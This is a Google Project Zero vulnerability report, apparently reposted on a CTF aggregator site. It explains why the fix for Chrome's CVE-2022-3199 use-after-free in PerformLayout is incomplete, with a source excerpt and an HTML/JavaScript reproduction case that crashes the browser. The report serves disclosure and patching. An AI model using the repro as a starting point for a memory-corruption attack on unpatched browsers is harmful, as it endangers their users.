2358 – Chrome: heap-use-after-free in blink::LocalFrameView::PerformLayout (incomplete fix for CVE-2022-3199) – project-zero
if (!LayoutFromRootObject(*root)) // *** 3 ***
continue;
if (should_rebuild_fragments)
cb->RebuildFragmentTreeSpine();
// We need to ensure that we mark up all layoutObjects up to the
// LayoutView for paint invalidation. This simplifies our code as we
// just always do a full tree walk.
if (LayoutObject* container = root_layout_object.Container())
container->SetShouldCheckForPaintInvalidation();
}
[…]
}
“`
Unfortunately, the fix[1] for CVE-2022-3199 is incomplete. The developer has identified the issue correctly. The `layout_subtree_root_list_.Ordered()` container is indeed modified from within
the loop body, which invalidates the loop iterator. However, this means the loop cannot be continued safely. The patch moved the `LayoutObject` pointer extraction from the iterator[2] before the function call that invalidates the iterator[3] and only prevented the browser from crashing because the original reproduction case triggered invalidation during the last iteration of the loop. I’m attaching an updated repro case that puts more elements into the container and causes the same use-after-poison crash as before. Moreover, the original repro case still hits a DCHECK in `UpdateStyleAndLayoutTreeForContainer` in debug builds.
Note the conventional way to fix such issues is to copy or move the container contents to a new local container, but the DCHECK crash implies the existence of a more fundamental logic issue.
[1] https://chromium.googlesource.com/chromium/src/+/815aa5ca03ab4ecc619b2d2ad7650531bd3892a8
VERSION
Google Chrome 105.0.5195.125 (Official Build)
Chromium 107.0.5299.0 (Developer Build) (64-bit)
REPRODUCTION CASE
<head>
<style>
body, div, img { container-type: size; }
</style>
</head>
<body>
<script>
SIZE = 100;
imgs = [];
for (i = 0; i < SIZE; ++i) {
img = document.body.appendChild(document.createElement(“img”));
img.alt = “a”;
imgs.push(img);
}
</script>
<script>
div = document.body.appendChild(document.createElement(“div”));
div.appendChild(imgs[0]);
for (i = 1; i < SIZE; ++i) {
extra_body = document.documentElement.appendChild(document.createElement(“body”));
extra_body.appendChild(imgs[i]);
}
</script>
<script>
for (i = 0; i < SIZE; ++i) {
imgs[i].alt = imgs[i].src = “b”;
}
div.style.margin = 1;
</script>
</body>
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-12-18.
转载请注明:2358 – Chrome: heap-use-after-free in blink::LocalFrameView::PerformLayout (incomplete fix for CVE-2022-3199) – project-zero | CTF导航
ViewDownload